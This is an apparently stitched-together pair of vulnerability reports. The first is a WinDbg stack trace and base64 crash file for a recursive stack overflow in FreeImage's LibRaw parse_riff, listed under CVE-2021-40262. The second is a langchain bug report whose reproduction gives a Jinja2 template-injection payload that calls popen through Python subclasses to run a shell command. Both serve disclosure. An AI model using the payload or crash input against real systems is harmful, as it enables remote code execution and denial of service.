ModLoad: 00007ffb\`7dd20000 00007ffb\`7de4a000   C:\\Windows\\System32\\RPCRT4.dll
(4460.8c84): Break instruction exception \- code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffb\`7ed80770 cc              int     3
0:000\> g
(4460.8c84): Stack overflow \- code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FreeImaged!\_\_crt\_stdio\_stream::has\_any\_buffer+0x13:
00000001\`8058e103 e808000000      call    FreeImaged!\_\_crt\_stdio\_stream::has\_any\_of (00000001\`8058e110)
0:000\> k
 # Child\-SP          RetAddr               Call Site
00 000000a9\`09a03ff0 00000001\`805a2947     FreeImaged!\_\_crt\_stdio\_stream::has\_any\_buffer+0x13 \[minkernel\\crts\\ucrt\\inc\\corecrt\_internal\_stdio.h @ 221\] 
01 000000a9\`09a04020 00000001\`805a31c0     FreeImaged!\_fread\_nolock\_s+0x2b7 \[minkernel\\crts\\ucrt\\src\\appcrt\\stdio\\fread.cpp @ 93\] 
02 000000a9\`09a04100 00000001\`805a307d     FreeImaged!fread\_s+0x130 \[minkernel\\crts\\ucrt\\src\\appcrt\\stdio\\fread.cpp @ 56\] 
03 000000a9\`09a04150 00000001\`8000f564     FreeImaged!fread+0x3d \[minkernel\\crts\\ucrt\\src\\appcrt\\stdio\\fread.cpp @ 240\] 
04 000000a9\`09a04190 00000001\`8005192b     FreeImaged!\_ReadProc+0x34 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\FreeImage\\FreeImageIO.cpp @ 33\] 
05 000000a9\`09a041c0 00000001\`802f1bf1     FreeImaged!LibRaw\_freeimage\_datastream::read+0x3b \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\FreeImage\\PluginRAW.cpp @ 67\] 
06 000000a9\`09a041f0 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x81 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 256\] 
07 000000a9\`09a043b0 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
08 000000a9\`09a04570 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
09 000000a9\`09a04730 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
0a 000000a9\`09a048f0 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
0b 000000a9\`09a04ab0 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 
0c 000000a9\`09a04c70 00000001\`802f1d11     FreeImaged!LibRaw::parse\_riff+0x1a1 \[D:\\coding\\FreeImage\\freeimage\-svn\-r1889\\FreeImage\\trunk\\Source\\LibRawLite\\src\\metadata\\misc\_parsers.cpp @ 263\] 

TestFile:

data:image/raw;base64,UklGRiAAAAAAAAAAMHg3OQAAAAAwMDAw5P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\==

CVE-2021-40262: FreeImage / Bugs / #338 A stack buff overflower in function Validate() located in PluginRAW.cpp

An issue in langchain v.0.0.171 allows a remote attacker to execute arbitrary code via the via the a json file to the load_prompt parameter.

**System Info**

windows 11

**Who can help?**

_No response_

**Information**

*   The official example notebooks/scripts
*   My own modified scripts

**Related Components**

*   LLMs/Chat Models
*   Embedding Models
*   Prompts / Prompt Templates / Prompt Selectors
*   Output Parsers
*   Document Loaders
*   Vector Stores / Retrievers
*   Memory
*   Agents / Agent Executors
*   Tools / Toolkits
*   Chains
*   Callbacks/Tracing
*   Async

**Reproduction**

1.  save the following data to pt.json

{
    "input\_variables": \[
        "prompt"
    \],
    "output\_parser": null,
    "partial\_variables": {},
    "template": "Tell me a {{ prompt }} {{ ''.\_\_class\_\_.\_\_bases\_\_\[0\].\_\_subclasses\_\_()\[147\].\_\_init\_\_.\_\_globals\_\_\['popen'\]('dir').read() }}",
    "template\_format": "jinja2",
    "validate\_template": true,
    "\_type": "prompt"
}

2.  run

from langchain.prompts import load\_prompt
loaded\_prompt \= load\_prompt("pt.json")
loaded\_prompt.format(history\="", prompt\="What is 1 + 1?")

3.  the dir command will be execute

attack scene: Alice can send prompt file to Bob and let Bob to load it.  
analysis: Jinja2 is used to concat prompts. Template injection will happened  
note: in the pt.json, the template has payload, the index of __subclasses__ maybe different in other environment.

**Expected behavior**

code should not be execute

Tag

#windows